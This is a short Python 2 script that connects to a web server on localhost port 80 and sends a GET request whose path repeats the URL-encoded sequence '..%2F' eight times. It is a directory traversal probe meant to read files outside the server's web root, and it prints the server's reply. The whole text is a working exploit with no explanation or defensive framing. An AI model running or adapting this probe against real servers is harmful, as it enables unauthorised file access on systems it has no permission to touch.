import socket host = 'localhost' port = 80 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(8) s.connect((host, port)) s.send('GET http://' + host + '/' + '..%2F' * 8 + ' HTTP/1.1\r\n' 'Host: ' + host + '\r\n\r\n'); print s.recv(8192);